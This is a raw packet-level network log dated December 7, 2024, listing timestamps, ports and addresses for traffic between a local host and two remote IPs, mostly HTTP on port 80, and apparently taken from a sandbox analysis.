Dec 7, 2024 18:26:54.061017990 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.061062098 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.061177969 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.061220884 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.061315060 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.061368942 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.061400890 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.061569929 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.061583042 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.061595917 CET	49811	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.061603069 CET	443	49811	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.061712980 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.061754942 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.061861038 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.061899900 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.062773943 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.062809944 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.062915087 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.062948942 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.063893080 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.063955069 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.064011097 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.064048052 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.064491987 CET	49816	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.064538956 CET	443	49816	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.064591885 CET	49816	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.064821005 CET	49816	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.064832926 CET	443	49816	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.065051079 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.065095901 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.065148115 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.065187931 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.066099882 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.066148043 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.066188097 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.066219091 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.067023993 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.067065001 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.067140102 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.067176104 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.068098068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.068216085 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.068222046 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.068260908 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.069154024 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.069216013 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.069269896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.069314003 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.070291996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.070342064 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.070485115 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.070525885 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.071464062 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.071507931 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.071526051 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.071557999 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.072402000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.072443008 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.072583914 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.072624922 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.073528051 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.073573112 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.073710918 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.073750973 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.074506998 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.074547052 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.074620008 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.074652910 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.075562000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.075607061 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.075750113 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.075789928 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.076622963 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.076662064 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.076878071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.076920986 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.077768087 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.077809095 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.077811956 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.077845097 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.078845978 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.078952074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.078954935 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.078990936 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.079826117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.079876900 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.080049038 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.080096006 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.080945969 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.080998898 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.081036091 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.081077099 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.081971884 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.082025051 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.082118034 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.082160950 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.083148956 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.083197117 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.083431005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.083482027 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.084338903 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.084381104 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.084449053 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.084490061 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.085365057 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.085386992 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.085405111 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.085427046 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.148890018 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.148966074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.148997068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.149035931 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.185065031 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.185118914 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.185231924 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.185271978 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.185604095 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.185647011 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.185728073 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.185764074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.185914040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.185947895 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.186762094 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.186820984 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.186892033 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.186930895 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.187057972 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.187093019 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.188020945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.188071966 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.188218117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.188251972 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.188759089 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.188795090 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.188954115 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.188983917 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.189831018 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.189871073 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.189958096 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.189991951 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.190922976 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.190958977 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.191090107 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.191128969 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.191963911 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.192003965 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.192130089 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.192172050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.193054914 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.193099022 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.193196058 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.193234921 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.194276094 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.194319010 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.194365025 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.194401026 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.195225000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.195275068 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.195348024 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.195384026 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.196350098 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.196391106 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.196451902 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.196481943 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.197288036 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.197329998 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.197487116 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.197520971 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.198398113 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.198437929 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.198514938 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.198555946 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.199505091 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.199552059 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.199712038 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.199753046 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.200582981 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.200627089 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.200732946 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.200771093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.201576948 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.201617956 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.201693058 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.201729059 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.202692032 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.202729940 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.202795029 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.202836037 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.203721046 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.203758955 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.203838110 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.203879118 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.204773903 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.204807997 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.204885006 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.204929113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.205899000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.205943108 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.205993891 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.206037045 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.206991911 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.207034111 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.207231045 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.207268000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.208071947 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.208117008 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.208158970 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.208190918 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.209043980 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.209111929 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.209193945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.209228039 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.210098982 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.210140944 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.210211992 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.210247040 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.211179018 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.211227894 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.211302996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.211352110 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.212275982 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.212322950 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.212383032 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.212418079 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.310043097 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.310152054 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.310177088 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.310214043 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.310591936 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.310636044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.310679913 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.310719967 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.310794115 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.310832977 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.311610937 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.311652899 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.311789036 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.311830044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.311992884 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.312040091 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.312853098 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.312899113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.313066006 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.313107967 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.313997030 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.314042091 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.314177036 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.314219952 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.315206051 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.315252066 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.315447092 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.315490007 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.316246986 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.316291094 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.316414118 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.316456079 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.317230940 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.317275047 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.317341089 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.317382097 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.318259001 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.318303108 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.318367958 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.318408012 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.319504023 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.319550991 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.319613934 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.319654942 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.320522070 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.320565939 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.320679903 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.320719004 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.321640968 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.321686983 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.321727037 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.321765900 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.322727919 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.322776079 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.322853088 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.322895050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.323740005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.323788881 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.323843002 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.323879957 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.324769020 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.324815989 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.324896097 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.324935913 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.325900078 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.325948000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.326087952 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.326132059 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.327075005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.327124119 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.327383995 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.327428102 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.328218937 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.328269005 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.328350067 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.328389883 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.329299927 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.329349041 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.329396963 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.329437971 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.330214024 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.330262899 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.330305099 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.330346107 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.331343889 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.331392050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.331499100 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.331538916 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.332181931 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.332226038 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.332315922 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.332357883 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.333116055 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.333159924 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.333250046 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.333288908 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.334300041 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.334348917 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.334455013 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.334496021 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.335262060 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.335325003 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.335390091 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.335433006 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.336302996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.336349010 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.336425066 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.336464882 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.337483883 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.337532997 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.337575912 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.337613106 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.378328085 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.378396034 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.378434896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.378473043 CET	49786	80	192.168.2.7	185.215.113.206
